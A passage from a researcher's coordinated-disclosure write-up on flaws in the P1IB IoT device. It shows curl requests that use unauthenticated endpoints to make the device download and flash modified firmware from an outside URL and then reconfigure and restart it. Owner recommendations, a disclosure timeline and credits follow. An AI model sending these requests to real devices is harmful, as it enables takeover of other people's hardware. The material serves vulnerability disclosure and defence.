└─$ curl --include http://my-p1ib/initFwUpdate?file=https://raw.githubusercontent.com/labanskoller/temp/master/blobs/test.bin
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 15
Connection: close
{"result":true}
┌──(user㉿iot)-[~]
└─$ curl --include http://my-p1ib/getFwStatus
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 54
Connection: close
{"total":1908672,"progress":403904,"state":"flashing"}
┌──(user㉿iot)-[~]
└─$ curl --include http://my-p1ib/getFwStatus
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 55
Connection: close
{"total":1908672,"progress":1908672,"state":"finished"}
Now simulate that the owner configures the device to join the same Wi-Fi again and restarts it:
┌──(user㉿iot)-[~]
└─$ curl --include "http://my-p1ib/setConfig?options-wifi=<REDACTED>&textfield-wifi-password=<REDACTED>&textfield-login-password=&select-fuse=25&textfield-mqtt-broker-hostname=&textfield-mqtt-broker-port=1883&textfield-mqtt-broker-username=mqtt&textfield-mqtt-broker-password=&switch-mqtt-ha-auto-discovery-enabled=on&textfield-mqtt-topic-prefix=&textfield-mqtt-cert-rootca=&textfield-mqtt-cert-device=&textfield-mqtt-cert-private-key=&textfield-transformer-ratio=1&textfield-ntp-server-0=0.se.pool.ntp.org&textfield-ntp-server-1=1.se.pool.ntp.org&textfield-ntp-server-2=2.se.pool.ntp.org&switch-debug-enabled=on&textfield-debug-hostname=&textfield-debug-port=8888&switch-wifi-dhcp-enabled=on&slider-wifi-tx-limit=44&textfield-wifi-retry-timeout=60&textfield-wifi-ap-mode-timeout=15&options-bssid=F6%3a9F%3aC2%3a<REDACTED>"
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 15
Connection: close
{"result":true}
┌──(user㉿iot)-[~]
└─$ curl --include http://my-p1ib/restart
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11
Connection: close
restarting!
┌──(user㉿iot)-[~]
└─$ curl --include http://my-p1ib/deviceInfo
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 151
Connection: close
{"mac_address":"b4:8a:0a:<REDACTED>","version":"aae1e85","hw_revision":"F","feat_external_antenna":false,"feat_pass_through":false,"feat_ethernet":false}
It’s now running firmware aae1e85
(the one we modified).
┌──(user㉿iot)-[~]
└─$ curl --silent http://my-p1ib/ | grep "Current Installed"
<div class="mdl-cell mdl-cell--3-col">Current Installed Malware</div>
But… hey! Current Installed Malware?!
Yes, we managed to deploy and run our modified firmware.
Recommendations for Device Owners
Update 2024-AUG-28: These recommendations do not reflect recent fixes which have been applied in development firmware versions. See the individual vulnerabilities above for details.
- Update the P1IB firmware to the latest “recommended” stable
version, or at least
version
aae1e85
with build date 2024-FEB-12, which fixes P1IB-LABAN-001 Missing authorization. - Protect the web interface with a login password, but be aware of its limitations. Use a unique password/passphrase.
- Make sure the Wi-Fi network the device is connected to supports or even better requires Protected Management Frames (PMF) or is a WPA3 network.
- Change the PSK (passphrase) of the Wi-Fi network(s) the device has been connected to.
- Use a separate browser, browser profile or virtual machine (VM) to administer the P1IB so that an attacker cannot use your authenticated browser session to send requests (CSRF). This is to mitigate P1IB-LABAN-002 Cross-site request forgery.
- Consider not allowing traffic to P1IB from network segments where you
regularly browse the Internet, since there are state-changing
GET
endpoints not protected by authentication that an attacker can use in a drive-by fashion to take over your device. Especially the/reset
endpoint is dangerous combined with/initFwUpdate
which at that point is not protected by authentication anymore. - Consider segmenting the device on the network and restrict outgoing network traffic.
Timeline
Date | Event |
---|---|
2024-JAN-24 | Vulnerabilities P1IB-LABAN-001--006 reported to Remne Technologies with a 90-day coordinated disclosure deadline |
2024-FEB-19 | Proof-of-Concept deauthentication attack performed to force P1IB into starting AP mode. Vulnerability P1IB-LABAN-007 reported to Remne Technologies. I kept the original 90-day coordinated disclosure deadline of 2024-APR-23, however. |
2024-FEB-20 | Remne Technologies promoted the build aae1e85 to stable, which fixed the most serious vulnerability P1IB-LABAN-001. |
2024-FEB-24 | Five CVEs requested from MITRE (CNA-LR): CVE Request 1610270 for CVE ID Request |
2024-MAR-05 | Reminder about my CVE request sent to MITRE. |
2024-APR-23 | Coordinated disclosure deadline |
2024-APR-25 | Tried to once again remind MITRE of my request (1610270) but found out it was closed. Made a new request of type "other" to ask why it was closed. Created five separate CVE requests for the individual vulnerabilities but received confirmation only on the first one. |
2024-JUN-13 | Presented some of the vulnerabilities in a lightning talk at work at the internal Sentor TechSec Summer Unconference. |
2024-AUG-16 | Publication of this post at 01:00 CEST. One advice added and a spelling mistake corrected later that day. |
2024-AUG-28 | Various updates regarding fixes. Search the page for "Update 2024-AUG-28" for details. |
Comments?
Do you have questions, comments or corrections? Please interact with the toot, tweet, LinkedIn post or make a pull request.
Credit
- Thanks to Benjamin Björk for lending me his Alfa AC1200 wireless USB adapter used to perform the deauthentication attack.
- Thanks to Karl Emil Nikka for the advice to change PSK of the device’s Wi-Fi network and for correcting a spelling mistake (updated 2024-AUG-16).
- “Let’s see who this really is” meme generated by Imgflip.